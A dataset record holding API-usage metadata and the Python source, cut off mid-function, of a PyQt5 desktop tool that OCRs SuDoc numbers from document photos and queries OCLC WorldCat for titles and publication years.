{"api_name": "pxr.Trace.Reporter.globalReporter.Report", "line_number": 220, "usage_type": "call"}, {"api_name": "pxr.Trace.Reporter", "line_number": 220, "usage_type": "attribute"}, {"api_name": "pxr.Trace", "line_number": 220, "usage_type": "name"}, {"api_name": "pxr.Trace.Reporter.globalReporter.ClearTree", "line_number": 222, "usage_type": "call"}, {"api_name": "pxr.Trace.Reporter", "line_number": 222, "usage_type": "attribute"}, {"api_name": "pxr.Trace", "line_number": 222, "usage_type": "name"}, {"api_name": "contextlib.contextmanager", "line_number": 196, "usage_type": "attribute"}, {"api_name": "pxr.Gf.Range2f", "line_number": 243, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 243, "usage_type": "name"}, {"api_name": "pxr.Gf.Range2f", "line_number": 244, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 244, "usage_type": "name"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 244, "usage_type": "call"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 262, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 262, "usage_type": "name"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 282, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 282, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 288, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 288, "usage_type": "name"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 293, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 293, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 299, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 299, "usage_type": "name"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 304, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 304, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 310, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 310, "usage_type": "name"}, {"api_name": "pxr.Gf.Vec2f", "line_number": 315, "usage_type": "call"}, {"api_name": "pxr.Gf", "line_number": 315, "usage_type": "name"}, {"api_name": "PySide6.QtCore.Qt", "line_number": 321, "usage_type": "attribute"}, {"api_name": "PySide6.QtCore", "line_number": 321, "usage_type": "name"}, {"api_name": "pxr.Tf.GetEnvSetting", "line_number": 326, "usage_type": "call"}, {"api_name": "pxr.Tf", "line_number": 326, "usage_type": "name"}, {"api_name": "ufe.GlobalSelection.get", "line_number": 332, "usage_type": "call"}, {"api_name": "ufe.GlobalSelection", "line_number": 332, "usage_type": "attribute"}, {"api_name": "maya.cmds.ls", "line_number": 341, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 341, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 347, "usage_type": "call"}, {"api_name": "os.path", "line_number": 347, "usage_type": "attribute"}, {"api_name": "maya.cmds.file", "line_number": 348, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 348, "usage_type": "name"}, {"api_name": "pxr.Tf.Status", "line_number": 350, "usage_type": "call"}, {"api_name": "pxr.Tf", "line_number": 350, "usage_type": "name"}, {"api_name": "maya.cmds.playbackOptions", "line_number": 359, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 359, "usage_type": "name"}, {"api_name": "maya.cmds.currentTime", "line_number": 361, "usage_type": "call"}, {"api_name": "maya.cmds", "line_number": 361, "usage_type": "name"}, {"api_name": "PySide6.QtWidgets.QApplication.processEvents", "line_number": 362, "usage_type": "call"}, {"api_name": "PySide6.QtWidgets.QApplication", "line_number": 362, "usage_type": "name"}, {"api_name": "fixturesUtils.runTests", "line_number": 432, "usage_type": "call"}]} +{"seq_id": "37401870481", "text": "import sys\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nimport qdarkstyle\r\nfrom ocr_lines import read_data\r\nfrom query_worker import QueryWorker\r\nfrom oclc.oclc_api import *\r\nimport json\r\nimport pandas as pd\r\nimport os\r\nimport datetime\r\n\r\nclass WindowDesigner:\r\n \"\"\"\r\n parent: sets the window instance\r\n style_flag: signifies style theme\r\n path_value: user choosen directory for images\r\n path_message: display of choosen directory \r\n status_bar: Bar to display image-proccessing status\r\n sudoc_image_label: Label to hold pixmap image for display\r\n title_image_label: Label to holp pixmap image for display\r\n path_warning: displayed warning for necessary path selection\r\n image_warning: displayed warning for necessary image processing\r\n query_in_process: displayed warning during query process\r\n query_sucess_rate: value for displaying total successful queries\r\n \"\"\"\r\n def __init__(self, parent):\r\n self.parent = parent\r\n self.style_flag = False\r\n self.path_value = None #initialize path_value as None\r\n self.path_message = None\r\n self.status_bar = None\r\n self.sudoc_image_label = None\r\n self.title_image_label = None\r\n self.path_warning = None\r\n self.image_warning = None\r\n self.query_in_process = None\r\n self.success_rate = None\r\n \r\n\r\n def create_login_window(self) -> None:\r\n \"\"\"\r\n create_login_window:\r\n generates the login window\r\n \r\n \"\"\"\r\n parent = self.parent\r\n parent.setWindowTitle(\"PMET Login\")\r\n parent.setGeometry(900, 500, 900, 500)\r\n \r\n # Add a label for \"Login\"\r\n program_label = QLabel(\"

Photo-Meta Data Extractor Tool

\", parent=parent)\r\n program_label.setGeometry(60, 15,750,50)\r\n\r\n # Set Humboldt logo icon on taskbar\r\n parent.setWindowIcon(QIcon(\"hsu_logo2.png\"))\r\n \r\n # Add a \"Login\" push button\r\n parent.loginButton = QPushButton(\"Login\", parent=parent)\r\n parent.loginButton.setGeometry(400, 400, 100,50)\r\n parent.loginButton.clicked.connect(parent.open_home)\r\n\r\n # Notify user to enter credential for .sercrets file\r\n loginInstructions = QLabel(\"
Please enter your credentials for WorldCat API
\", parent=parent)\r\n loginInstructions.setGeometry(60, 150,600,50)\r\n\r\n # Create text boxes for username and password\r\n parent.loginUsername = QLineEdit(\"Johnny\", parent=parent)\r\n parent.loginPassword = QLineEdit(\"abc123\", parent=parent)\r\n loginUsernameLabel = QLabel(\"Username\", parent=parent)\r\n loginPasswordLabel = QLabel(\"Password\", parent=parent)\r\n loginPasswordLabel.setGeometry(200, 310,300,50)\r\n parent.loginUsername.move(200, 250)\r\n loginUsernameLabel.setGeometry(200, 210,300,50)\r\n parent.loginPassword.move(200, 350)\r\n\r\n # Create an option for the user to exit\r\n parent.exitButton = QPushButton(\"Exit\", parent=parent)\r\n parent.exitButton.setGeometry(560, 400, 100,50)\r\n parent.exitButton.clicked.connect(parent.close_window)\r\n\r\n toggle_style_button = QPushButton(\"Toggle Style\", parent=parent)\r\n toggle_style_button.setGeometry(650, 100, 200, 50)\r\n toggle_style_button.clicked.connect(parent.toggle_style)\r\n\r\n parent.show()\r\n\r\n\r\n def create_homepage_window(self) -> None:\r\n \"\"\"\r\n create_homepage_window:\r\n Creates an instance of the homepage instance of\r\n the PMET tool \r\n \"\"\"\r\n parent = self.parent\r\n self.homepage = QMainWindow() # Create a new window for the homepage\r\n self.homepage.setWindowTitle(\" PMET Homepage\")\r\n self.homepage.setGeometry(100, 100, 900, 900)\r\n self.homepage.setWindowIcon(QIcon(\"hsu_logo2.png\"))\r\n # Add widgets specific to the homepage\r\n homepage_label = QLabel(\"Welcome to the PMET Homepage\", parent=self.homepage)\r\n \r\n print(type(self.status_bar))\r\n homepage_label.setGeometry(60, 60, 400, 40) # Adjust the position and size of the label\r\n \r\n # Create select folder button along with label\r\n self.homepage.selectButton = QPushButton('Select File', parent=self.homepage)\r\n self.homepage.selectButton.setGeometry(500, 200, 200, 50)\r\n self.homepage.selectButton.clicked.connect(self.parent.open_file)\r\n tool_instructions = QLabel(\"Select a file containing images of documents SuDoc's\", parent=self.homepage)\r\n tool_instructions.setGeometry(100,150,520,50)\r\n\r\n # Create a push button for begin OCLC query process\r\n self.homepage.beginquery = QPushButton('Begin Query', parent = self.homepage)\r\n self.homepage.beginquery.setGeometry(500, 700, 200, 50)\r\n self.homepage.beginquery.clicked.connect(self.parent.begin_query)\r\n\r\n # Create an exit button to close window\r\n self.homepage.exitButton = QPushButton(\"Exit\", parent=self.homepage)\r\n self.homepage.exitButton.setGeometry(680, 800,200,50)\r\n self.homepage.exitButton.clicked.connect(self.parent.close_homepage)\r\n\r\n # Create a button to begin image proccesing \r\n self.homepage.selectButton = QPushButton('Process Images', parent=self.homepage)\r\n self.homepage.selectButton.setGeometry(500,340,200,50)\r\n self.homepage.selectButton.clicked.connect(self.parent.begin_image_processing)\r\n\r\n # Toggle theme button \r\n toggle_theme_button = QPushButton(\"Toggle Theme\", parent=self.homepage)\r\n toggle_theme_button.setGeometry(680, 100, 200, 50)\r\n toggle_theme_button.clicked.connect(self.parent.toggle_style)\r\n\r\n self.homepage.show() # Show the homepage window\r\n\r\n def create_verification_window(self) -> QMainWindow:\r\n \"\"\"\r\n create_verification_window:\r\n creates an instance of the verification window\r\n \r\n \"\"\"\r\n self.verification_window = QMainWindow() # Create a new window for the homepage\r\n self.verification_window.setWindowTitle(\" PMET: Verifier\")\r\n self.verification_window.setGeometry(100, 100, 900, 900)\r\n self.verification_window.setWindowIcon(QIcon(\"hsu_logo2.png\"))\r\n\r\n self.verification_window.verify = QPushButton(\"Verify\", parent=self.verification_window)\r\n self.verification_window.verify.setGeometry(400, 800,200,50)\r\n self.verification_window.verify.clicked.connect(self.parent.update_exceptions)\r\n\r\n self.sudoc_image_label = None\r\n self.title_image_label = None\r\n\r\n self.verification_window.show()\r\n return self.verification_window\r\n\r\n def update_verification_window(self, image_path, sudoc_path, extracted_sudoc,extracted_title,extracted_year)->None:\r\n\r\n \"\"\"\r\n update_verification_window:\r\n Updates the window to diplay the images and previously extracted data for those image instances\r\n \"\"\"\r\n \r\n if self.title_image_label is not None:\r\n self.title_image_label.deleteLater()\r\n if self.sudoc_image_label is not None:\r\n self.sudoc_image_label.deleteLater()\r\n \r\n self.title_image_label = QLabel(parent = self.verification_window)\r\n self.sudoc_image_label = QLabel(parent = self.verification_window)\r\n pixmap = QPixmap(str(image_path))\r\n pixmap2 = QPixmap(str(sudoc_path))\r\n\r\n if(pixmap.height() > 0):\r\n aspect_ratio = pixmap.width() / pixmap.height()\r\n\r\n new_width = 475\r\n new_height = 475\r\n\r\n pixmap = pixmap.scaled(new_width,new_height, Qt.KeepAspectRatio)\r\n self.title_image_label.setPixmap(pixmap)\r\n\r\n if(pixmap2.height() > 0):\r\n aspect_ratio = pixmap.width() / pixmap.height()\r\n \r\n pixmap2 = pixmap2.scaled(new_width,new_height, Qt.KeepAspectRatio)\r\n self.sudoc_image_label.setPixmap(pixmap2)\r\n\r\n print(\"VERIFICATION IS CALLED\")\r\n extracted_title = str(extracted_title)\r\n extracted_sudoc = str(extracted_sudoc)\r\n extracted_year = str(extracted_year)\r\n\r\n self.verification_window.sudoc_textbox = QLineEdit(extracted_sudoc, parent=self.verification_window)\r\n self.verification_window.sudoc_label = QLabel(\"SuDoc\", parent=self.verification_window)\r\n self.verification_window.title_label = QLabel(\"Title\", parent=self.verification_window)\r\n self.verification_window.pub_label = QLabel(\"Publication Year\", parent=self.verification_window)\r\n self.verification_window.publication_year = QLineEdit(extracted_year, parent=self.verification_window)\r\n \r\n if len(extracted_title) > 200:\r\n extracted_title = extracted_title[::300]\r\n self.verification_window.title_textbox = QLineEdit(extracted_title, parent=self.verification_window)\r\n\r\n self.verification_window.title_label.setGeometry(10, 660, 300, 50)\r\n self.verification_window.sudoc_label.setGeometry(350, 660, 300, 50)\r\n self.verification_window.pub_label.setGeometry(10,750,300,50)\r\n\r\n box_width = max(pixmap.width(),pixmap2.width())\r\n box_height = max(pixmap.height(),pixmap2.height())\r\n\r\n self.sudoc_image_label.setGeometry(10, 10, box_width, box_height)\r\n self.title_image_label.setGeometry(470,10, box_width, box_height)\r\n self.verification_window.sudoc_textbox.setGeometry(10, 710, 300, 30)\r\n self.verification_window.title_textbox.setGeometry(350, 710, 400, 30)\r\n self.verification_window.publication_year.setGeometry(10,800,300,30)\r\n\r\n self.title_image_label.show()\r\n self.sudoc_image_label.show()\r\n self.verification_window.pub_label.show()\r\n self.verification_window.publication_year.show()\r\n self.verification_window.sudoc_textbox.show()\r\n self.verification_window.title_textbox.show()\r\n self.verification_window.sudoc_label.show()\r\n self.verification_window.title_label.show()\r\n\r\n self.verification_window.update()\r\n self.verification_window.show()\r\n\r\n\r\n def close_window(self) -> None:\r\n \"\"\"\r\n close_window: \r\n Closes the window instance\r\n \"\"\"\r\n self.parent.close()\r\n\r\n def verify_path(self, directory_path, window) -> None:\r\n \"\"\"\r\n verify_path:\r\n Displays choosen directory path from user in window for user verification \r\n if path is larger than window the path is truncated fit on screen \r\n \"\"\"\r\n if self.path_value:\r\n self.path_value.deleteLater()\r\n window.homepage.update()\r\n if len(directory_path) > 850 / 9:\r\n verifiedString = \"Chosen File was: \\n \"+ \"...\" + directory_path[-int(850/12)::]\r\n else:\r\n verifiedString = \"Chosen File was: \\n \" + directory_path\r\n self.path_value = QLabel(verifiedString, parent=window.homepage)\r\n self.path_value.setGeometry(20, 260, 850, 60)\r\n if self.path_message:\r\n self.path_message.deleteLater()\r\n self.path_value.show()\r\n window.homepage.update()\r\n\r\n\r\n def choose_path(self,window) -> None:\r\n \"\"\"\r\n choose_path:\r\n Pings user in the case a process request is made before a direcotry is choosen\r\n \"\"\"\r\n self.path_message = QLabel(\"Please pick a directory before begining Procesing\", parent=window.homepage)\r\n self.path_message.setGeometry(200, 600, 850, 50)\r\n self.path_message.show()\r\n window.homepage.update()\r\n\r\n\r\n\r\n def single_query_warning(self,window) -> None:\r\n \"\"\"\r\n single_query_warning:\r\n Pings user in the case a process request is made twice and before the first request\r\n has been completed\r\n \"\"\"\r\n if not self.path_warning:\r\n self.path_warning = QLabel(\"Please wait for the first query to finish\", parent=window.homepage)\r\n self.path_warning.setGeometry(10,700,450,50)\r\n self.path_warning.show()\r\n window.homepage.update()\r\n\r\n\r\n def single_query_warning_delete(self,window) -> None:\r\n \"\"\"\r\n single_query_warning_delete:\r\n removes the single_query_warning after image proccessing has been completed\r\n \"\"\"\r\n if self.path_warning:\r\n self.path_warning.deleteLater()\r\n self.path_warning = None\r\n window.homepage.update()\r\n\r\n def update_progress_bar(self, progress) -> None: \r\n \"\"\"\r\n updateProgressBar\r\n updates the progress bar \r\n \"\"\"\r\n progress_percentage = int(progress * 100)\r\n self.status_bar.setValue(progress_percentage)\r\n\r\n\r\n \r\n def create_progress_bar(self,window) -> None:\r\n \"\"\"\r\n createProgressBar\r\n Generates an initial progress bar and shows it within\r\n then window\r\n \"\"\"\r\n self.status_bar = QProgressBar(parent=window.homepage) \r\n self.status_bar.setGeometry(200,400,400,20)\r\n self.status_bar.show()\r\n window.homepage.update()\r\n\r\n\r\n def preview_results(self,window,string) -> None:\r\n \"\"\"\r\n previewResults\r\n Updates the window to display a button associated\r\n with the function \"preview\" \r\n \"\"\"\r\n #if self.preview:\r\n # self.preview.deleteLater()\r\n self.preview = QLabel(string, parent=window.homepage)\r\n self.preview.setGeometry(100,460,180,150)\r\n self.preview.show()\r\n window.homepage.update()\r\n\r\n def query_finished(self, window) -> None:\r\n \"\"\"\r\n query_finished\r\n Updates the window to download the results from a successful\r\n query\r\n \"\"\"\r\n self.downloadButton = QPushButton('Download Results', parent=self.homepage)\r\n self.downloadButton.setGeometry(100,700,200,50)\r\n self.downloadButton.clicked.connect(self.parent.download_csv)\r\n self.downloadButton.show()\r\n window.homepage.update()\r\n\r\n\r\n \r\n def preview(self,window) -> None:\r\n \"\"\"\r\n previewResults\r\n Displays in text form the head of the error codes\r\n within the dataframe after the query process\r\n \"\"\"\r\n self.previewButton = QPushButton('Preview Results', parent=self.homepage)\r\n self.previewButton.setGeometry(100,640,200,50)\r\n self.previewButton.clicked.connect(self.parent.preview_csv)\r\n self.previewButton.show()\r\n window.homepage.update()\r\n\r\n\r\n\r\n def toggleClose(self,window) -> None:\r\n \"\"\"\r\n toggleClose\r\n Creates a buttun on the homepage window and connects\r\n its to the new_query function within the PMET App. Allowing\r\n the user to reinitialize the program and begin a new query.\r\n \"\"\"\r\n self.closeButton = QPushButton('New Query', parent=self.homepage)\r\n self.closeButton.setGeometry(100,760,200,50)\r\n self.closeButton.clicked.connect(self.parent.new_query)\r\n self.closeButton.show()\r\n window.homepage.update()\r\n\r\n\r\n\r\n def querySuccessRate(self, window, found, total) -> None:\r\n \"\"\"\r\n querySuccessRate: \r\n Displays the total number of documents which are able\r\n to be found during the query process\r\n \r\n \"\"\"\r\n if not self.success_rate:\r\n self.success_rate = QLabel(str(found) + \" of \" + str(total) + \" found.\", parent=window.homepage)\r\n self.success_rate.setGeometry(510, 600, 150, 50)\r\n self.success_rate.show()\r\n window.homepage.update()\r\n QApplication.processEvents()\r\n\r\n \r\n\r\n def query_success_rate_delete(self, window, callback) -> None:\r\n \"\"\"\r\n query_success_rate_delete: \r\n Deletes success rate message from the window\r\n \r\n \"\"\"\r\n if self.success_rate:\r\n self.success_rate.deleteLater()\r\n self.success_rate = None\r\n window.homepage.update()\r\n QCoreApplication.processEvents()\r\n callback()\r\n\r\n\r\n\r\n def process_images_first_warning(self,window) -> None:\r\n \"\"\"\r\n process_images_first_warning:\r\n Warns the user to process users before instantiating a query\r\n \"\"\"\r\n if not self.image_warning:\r\n self.image_warning = QLabel(\"Please process images first\", parent=window.homepage)\r\n self.image_warning.setGeometry(10,410,450,50)\r\n self.image_warning.show()\r\n window.homepage.update()\r\n\r\n\r\n \r\n def process_images_first_delete(self,window) -> None:\r\n \"\"\"\r\n process_images_first_delete:\r\n Updates window to delete warning message after user processes images\r\n \"\"\"\r\n if self.image_warning:\r\n self.image_warning.deleteLater()\r\n self.image_warning = None\r\n window.homepage.update()\r\n\r\n\r\n def query_in_process_warning(self,window,callback) -> None:\r\n \"\"\"\r\n query_in_process_warning:\r\n displays a warning to the window that a query is running\r\n \r\n \"\"\"\r\n if not self.query_in_process:\r\n self.query_in_process = QLabel(\"Querying...Please Wait\", parent=window.homepage)\r\n self.query_in_process.setGeometry(510, 650, 250, 50)\r\n self.query_in_process.show()\r\n window.homepage.update()\r\n QApplication.processEvents()\r\n callback()\r\n\r\n\r\n def query_in_process_warning_delete(self,window)->None:\r\n \"\"\"\r\n query_in_process_warning:\r\n deletes the displayed warning that a query is running to the window\r\n \"\"\"\r\n if self.query_in_process:\r\n self.query_in_process.deleteLater()\r\n self.query_in_process = None\r\n window.homepage.update()\r\n \r\n\r\n def update_window_events(self)->None:\r\n \"\"\"\r\n update_window_events:\r\n forces window to update un-processed events before preceding\r\n \"\"\"\r\n QApplication.processEvents()\r\n\r\n\r\n\r\n \r\nclass PMETApp(QWidget):\r\n \"\"\"\r\n Attributes:\r\n\r\n designer: An instance of Window designer which is orignally\r\n instantiated as teh login window.\r\n \r\n homepage: Instance of the homepage window.\r\n\r\n directory_path: Choosen file path for image selection\r\n style_flag: Flag variable for window color theme.\r\n \r\n query_worker: Intance of queryWorker to thread image proccessing.\r\n\r\n extracted_csv: Holds proccessed SuDoc text and query data.\r\n\r\n credential: Flag variable for active API token session.\r\n\r\n credentials_saved: Flag variable for creation of .sercrets file \r\n\r\n OCLC: Holds an instance of the OCLC class for the query process \r\n\r\n verification_window: Holds an instance of the WindowDesigner class \r\n\r\n exceptions: A list value of all pending queries after a query instantiation\r\n \"\"\"\r\n\r\n def __init__(self):\r\n \r\n \"\"\"\r\n Generation of the intial interface window along with needed functionality\r\n for operating within the program \r\n \r\n \"\"\"\r\n super().__init__()\r\n self.designer = WindowDesigner(self)\r\n self.designer.create_login_window()\r\n self.homepage = None #Initialize homepage as None\r\n self.directory_path= None\r\n self.style_flag = False # added to track the flag state\r\n self.query_worker = None\r\n self.extracted_csv = None\r\n self.credential = False\r\n self.credentials_saved = False\r\n self.OCLC = None\r\n self.verification_window = None\r\n self.exceptions = None\r\n self.query_in_process = False\r\n\r\n def run(self) -> None:\r\n \"\"\"\r\n run:\r\n displays the program\r\n \"\"\"\r\n self.show()\r\n \r\n def open_home(self) -> None:\r\n \"\"\"\r\n open_home:\r\n Saves login credentials to .secrets and takes user to the programs main page\r\n \"\"\" \r\n self.grab_credentials()\r\n self.OCLC = OCLCSession(\"config.ini\") #create OCLCSession Instance\r\n token_response = self.authenticate_user() #Verify user login to the system\r\n if token_response == 200:\r\n self.credentail = True\r\n self.designer.parent.close()\r\n self.homepage = WindowDesigner(self) \r\n self.homepage.create_homepage_window() # Store the homepage reference\r\n\r\n def close_window(self) -> None:\r\n \"\"\"\r\n close_window:\r\n closes the window instance\r\n \"\"\"\r\n self.close()\r\n\r\n def close_homepage(self) -> None: \r\n \"\"\"\r\n close_homepage:\r\n closes the window instance\r\n \"\"\" \r\n self.close()\r\n #os.remove(\"./extracted_data/extracted_data.csv\") UNCOMMENT IN FINAL VERSION!\r\n self.homepage = None\r\n\r\n def authenticate_user(self) -> int():\r\n \"\"\"\r\n authenticate_user:\r\n Returns the login status code for collecting the API token\r\n \"\"\"\r\n if self.OCLC.hasToken:\r\n self.credential = True\r\n print(\"login success\")\r\n return 200 # Authentication successful \r\n else:\r\n print(\"login failure\")\r\n QMessageBox.critical(self, \"Error\", \"Please check your credentials\")\r\n return 401 # Authentication failed \r\n \r\n def grab_credentials(self) -> None:\r\n \"\"\"\r\n grab_credentials: \r\n Writes credential inputted at the login hompage into \r\n the .sercrets file for later proccessing\r\n \"\"\"\r\n if not self.credentials_saved:\r\n file = open(\".secrets\",\"w\")\r\n string = \"[SECRETS] \\nclient_id = \" + self.loginUsername.text() + \"\\nclient_secret = \" + self.loginPassword.text()\r\n file.write(string)\r\n self.credentials_saved = True\r\n \r\n def keyPressEvent(self, event) -> None:\r\n \"\"\"\r\n Defines a keypressEvent so users can loging by hitting \"enter\"\r\n \"\"\"\r\n if event.key() == Qt.Key_Return:\r\n self.open_home()\r\n\r\n def open_file(self) -> None:\r\n \"\"\"\r\n open_file: \r\n Allows user to toggle directory path for image proccessing\r\n \"\"\"\r\n options = QFileDialog.Options()\r\n directoryPath = QFileDialog.getExistingDirectory(self, \"Select a Directory\", options=options)\r\n if directoryPath:\r\n print(\"Selected File:\", directoryPath)\r\n self.directory_path=directoryPath\r\n self.designer.verify_path(directoryPath,self.homepage)\r\n\r\n def toggle_style(self) -> None:\r\n \"\"\"\r\n toggle_style:\r\n Changes window theme\r\n \"\"\"\r\n self.style_flag = not self.style_flag # Toggle the style flag\r\n if self.style_flag:\r\n app.setStyleSheet(qdarkstyle.load_stylesheet_pyqt5())\r\n else:\r\n app.setStyleSheet('')\r\n\r\n def begin_image_processing(self) -> None:\r\n \"\"\"\r\n begin_image_proccessing:\r\n Instantiates a query_worker instance to run image\r\n query proccess from user-selected folder on another thread\r\n \"\"\"\r\n self.designer.process_images_first_delete(self.homepage)\r\n if self.query_worker is not None:\r\n print(\"A query is already in progress. Please wait for it to finish\")\r\n self.designer.single_query_warning(self.homepage)\r\n if self.directory_path:\r\n self.designer.create_progress_bar(self.homepage)\r\n self.query_worker = QueryWorker(self.directory_path)\r\n self.query_worker.finished.connect(self.query_finished)\r\n self.query_worker.result_ready.connect(self.handle_result) # Connect the signal to the slot\r\n self.query_worker.progress_updated.connect(self.designer.update_progress_bar) # Connect the progress signal\r\n \r\n self.designer.status_bar.setValue(0)\r\n self.query_worker.start()\r\n print(self.extracted_csv)\r\n else:\r\n self.designer.choose_path(self.homepage)\r\n \r\n def query_finished(self) -> None:\r\n \"\"\" \r\n query_finished:\r\n Removes query worker instance\r\n \"\"\"\r\n print(\"Query finished\")\r\n self.query_worker = None\r\n self.designer.single_query_warning_delete(self.homepage)\r\n self.designer.status_bar.setValue(100)\r\n\r\n def handle_result(self,result) -> None:\r\n \"\"\"\r\n handle_result:\r\n Saves the resulting data from extraction to the extracted_csv attribute\r\n \r\n \"\"\"\r\n print(\"Query Result:\", result)\r\n self.extracted_csv = result\r\n \r\n def begin_query(self) -> None:\r\n \"\"\"\r\n begin_query:\r\n Begins processing already extracted text through begining \r\n a query through the CCLC class.\r\n Error handling: \r\n If there is not extracted csv their is no function call\r\n If the user has a credential data is processed\r\n If the user has no credential the OCLC token is requested \r\n then data is processed if the token is recieved\r\n \"\"\"\r\n self.designer.query_success_rate_delete(self.homepage,callback=self.display_query)\r\n\r\n def display_query(self) ->None:\r\n \"\"\"\r\n display_query:\r\n Displays a warning for query in progress, and calls process_query\r\n \r\n \"\"\"\r\n self.designer.query_in_process_warning(self.homepage, callback=self.process_query)\r\n \r\n def process_query(self):\r\n \"\"\"\r\n process_query:\r\n Instnatiates a OCLC session and calls extract_query_data\r\n \r\n \"\"\"\r\n if not self.extracted_csv:\r\n print(\"ping user to process images first\")\r\n self.designer.process_images_first_warning(self.homepage)\r\n \r\n else:\r\n self.OCLC = OCLCSession(\"config.ini\") #create OCLCSession Instance\r\n token_response = self.authenticate_user() #Verify user login to the system\r\n if token_response == 200:\r\n self.credentail = True\r\n self.extract_query_data()\r\n self.query_in_process = True \r\n else:\r\n print(\"create error function ping user to relogin\")\r\n #add a function call for \r\n\r\n def extract_query_data(self)->None:\r\n \"\"\"\r\n extract_query_data:\r\n Pulls processed SuDocs from extracted csv files and sends\r\n each unique instance to the query system. Failed queries are \r\n documented according -> error processing is called as a side \r\n effect\r\n \"\"\"\r\n extracted_sudocs = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n print(\"before\", len(extracted_sudocs))\r\n extracted_sudocs = extracted_sudocs[extracted_sudocs[\"SuDoc\"].notna()]\r\n print(\"after\", len(extracted_sudocs))\r\n count = 0\r\n for i in range(len(extracted_sudocs)):\r\n query_result = self.OCLC.query(extracted_sudocs.iloc[i][\"SuDoc\"])\r\n query_result = json.loads(query_result)\r\n print(query_result)\r\n if int(query_result[\"numberOfRecords\"]) != 1:\r\n print(\"here\")\r\n if pd.isna(extracted_sudocs.iloc[i][\"Query Status\"]):\r\n extracted_sudocs.loc[i,\"Query Status\"] = 1 \r\n else:\r\n extracted_sudocs.loc[i,\"Query Status\"] +=1\r\n \r\n if int(query_result[\"numberOfRecords\"]) > 1:\r\n extracted_sudocs.loc[i,\"Error Code\"] = \"multiple records\"\r\n\r\n if int(query_result[\"numberOfRecords\"]) == 0:\r\n extracted_sudocs.loc[i,\"Error Code\"] = \"no records\"\r\n else:\r\n text = query_result['bibRecords'][0]['title']['mainTitles'][0]['text']\r\n year = query_result['bibRecords'][0]['date']['publicationDate']\r\n\r\n extracted_sudocs.at[i,\"Title\"] = text\r\n extracted_sudocs.loc[i,\"Publication Year\"] = year\r\n extracted_sudocs.loc[i,\"Error Code\"] = \"Data Collected\"\r\n count += 1\r\n total = len(extracted_sudocs)\r\n extracted_sudocs.reset_index(drop=True, inplace=True)\r\n extracted_sudocs.to_csv(\"extracted_data/extracted_data.csv\", index=False)\r\n if count != total:\r\n self.verify_extracted_data()\r\n\r\n\r\n def verify_extracted_data(self) -> None:\r\n \"\"\"\r\n verify_extracted_data:\r\n Verification process for query failures on the first instance \r\n Implementation TBD\r\n \r\n \"\"\"\r\n extracted_sudocs = pd.read_csv('./extracted_data/extracted_data.csv')\r\n pending_queries = pd.concat([extracted_sudocs[extracted_sudocs['Error Code'] == \"no records\"],\r\n extracted_sudocs[extracted_sudocs['Error Code'] == \"multiple records\"],\r\n ])\r\n self.exceptions = pending_queries\r\n \r\n self.verification_window = WindowDesigner(self)\r\n self.verification_window = self.designer.create_verification_window()\r\n print(self.exceptions)\r\n self.designer.update_verification_window(self.exceptions.iloc[0]['Sudoc Image'],self.exceptions.iloc[0]['Title Image'], self.exceptions.iloc[0]['SuDoc'], self.exceptions.iloc[0]['Title'], self.exceptions.iloc[0]['Publication Year']) \r\n\r\n self.homepage.query_finished(self.homepage)\r\n self.homepage.preview(self.homepage)\r\n self.homepage.toggleClose(self.homepage)\r\n\r\n def next_instance(self):\r\n \"\"\" \r\n next_instance:\r\n records user verified data from the verifier window and writes it\r\n to the csv\r\n \r\n \"\"\"\r\n extracted_sudocs = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n print(self.exceptions)\r\n print(len(self.exceptions))\r\n identifier = self.exceptions.iloc[0][\"ID\"]\r\n print(identifier)\r\n \r\n sudoc = self.verification_window.sudoc_textbox.text()\r\n title = self.verification_window.title_textbox.text()\r\n year = self.verification_window.publication_year.text()\r\n\r\n extracted_sudocs.at[identifier, 'SuDoc'] = sudoc\r\n extracted_sudocs.at[identifier, 'Title'] = title\r\n extracted_sudocs.at[identifier, 'Publication Year'] = year\r\n\r\n \r\n extracted_sudocs.reset_index(drop=True, inplace=True)\r\n extracted_sudocs.to_csv(\"extracted_data/extracted_data.csv\", index=False)\r\n\r\n def update_exceptions(self) -> None:\r\n \"\"\"\r\n update_exceptions:\r\n Reads and writes updated user which user verifies/inputs\r\n Deletes instance from verification list, and updates[closes]\r\n the verification window for the next verification instance\r\n \"\"\"\r\n if len(self.exceptions) > 1:\r\n self.next_instance()\r\n self.exceptions = self.exceptions.drop(self.exceptions.index[0])\r\n self.designer.update_verification_window(self.exceptions.iloc[0]['Sudoc Image'],self.exceptions.iloc[0]['Title Image'], self.exceptions.iloc[0]['SuDoc'], self.exceptions.iloc[0]['Title'],self.exceptions.iloc[0]['Publication Year'])\r\n else:\r\n self.next_instance()\r\n self.exceptions = self.exceptions.drop(self.exceptions.index[0])\r\n self.verification_window.close()\r\n self.verification_window = None\r\n requeried_result = self.query_sudoc()\r\n self.merge_pending_queries(requeried_result)\r\n \r\n def query_sudoc(self) -> pd.DataFrame():\r\n \"\"\"\r\n query_sudoc:\r\n Instantiates the query process on the pending_quires dataframe\r\n \"\"\"\r\n extracted_sudocs = pd.read_csv(\"./extracted_data/extracted_data.csv\")\r\n pending_queries = pd.concat([extracted_sudocs[extracted_sudocs['Error Code'] == \"no records\"],\r\n 